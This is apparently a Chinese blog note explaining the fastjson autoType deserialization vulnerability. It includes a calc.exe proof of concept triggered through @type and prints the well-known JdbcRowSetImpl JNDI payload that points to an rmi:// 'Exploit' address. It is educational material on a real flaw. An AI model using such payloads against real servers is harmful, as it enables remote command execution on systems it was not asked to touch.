最近公司一直说fastjson有漏洞,比较很严重,要换成其他的json工具。怀着好奇的心情去看了一些文章,现在简单的记录一下。
1、漏洞分析
总体而言是一个叫做autoType的在搞事情。那么autoType是什么呢?
我们写一段简单代码演示一下:
public class JSONController {
public static void main(String[] args) throws ParseException {
Province province = new Province();
province.setProvincialCapital("wuhan");
province.setCityNum(12);
Nation nation = new Nation();
nation.setName("傣族");
nation.setProvince(province);
String nationStr = JSON.toJSONString(nation, SerializerFeature.WriteClassName);
//{"@type":"com.xx.ins.qsm.demo.web.controller.Nation","name":"傣族","province":{"@type":"com.xx.ins.qsm.demo.web.controller.Province","cityNum":12,"provincialCapital":"wuhan"}}
Nation nation1 = JSON.parseObject(nationStr, Nation.class);
//{"name":"傣族","province":{"cityNum":12,"provincialCapital":"wuhan"}}
Province province1 = (Province) nation1.getProvince();
//{"cityNum":12,"provincialCapital":"wuhan"}
String nationStr2 = JSON.toJSONString(nation);
//{"name":"傣族","province":{"cityNum":12,"provincialCapital":"wuhan"}}
Nation nation2 = JSON.parseObject(nationStr2, Nation.class);
//{"name":"傣族","province":{}}
Province province2 = (Province) nation2.getProvince();
//Exception in thread "main" java.lang.ClassCastException: com.xxx.qsm.demo.web.controller.$Proxy0 cannot be cast to com.xxx.qsm.demo.web.controller.Province
// at com.xxx.qsm.demo.web.controller.JSONController.main(JSONController.java:64)
}
}
@Data
class Nation {
private String name;
private Location province;
}
interface Location {
}
@Data
class Province implements Location {
private String provincialCapital;
private Integer cityNum;
}
可以看到:Nation类有一个属性province,其类型为接口Location,我们赋值的时候,是给它的实现类Province的对象。
接下来,2次序列化是否使用了
SerializerFeature.WriteClassName
。
使用了该属性的,序列化的json字符串就出现了一个
@type
的东西,这个指明了这个对象到时候反序列的时候指定的类型。那么这个
@type
就是前面所说的万恶之源autoType。在fastjson早期,这个是自动开启的。
那它有什么作用呢:就是反序列化的时候,可以指明我要的对象是什么。从代码可以看到,第二段序列化是没有
@type
的,所以它反序列化的时候,字段province根本没法转为本来的Province类型。如果指定了类型,那么就很容易的反序列化到指定的类。
2、漏洞利用:
也正是因为这个
@type
,那岂不我们可以自己随意指定一个类,然而这个类却可以帮我们做一些坏事?
比如我现在有一个类,可以调用本机的计算器,假设调起本机计算器是一个严重的问题,类似删除某个数据库。然后使用类似fastjson序列化漏洞的逻辑来执行。
public class JSONController {
public JSONController() {
try {
// 要执行的命令
String commands = "calc.exe";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws ParseException {
String s = "{\"@type\":\"com.xxx.qsm.demo.web.controller.JSONController\",\"name\":\"傣族\"}";
JSON.parseObject(s);
}
}
执行上面的代码,就可以调出本机的计算器。那么逻辑就是:自己构造一个json字符串,使用
@type
指定我想反序列化的类,然后这个类会执行一些动作,比如调用计算器或者删除数据库等。
那么fastjson早期版本就是使用类似的逻辑,比如调用的类为JdbcRowSetImpl。
构造的json字符串为:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。
那么之后的修复版本,fastjson默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。
那么黑客与官方开始博弈autotype,因为fastjson默认关闭了autotype支持,并且做了黑白名单的校验,所以攻击方向就转变成了”如何绕过checkAutotype”。
上面就是fastjson漏洞的简单理解。
【完】
正在去BAT的路上修行中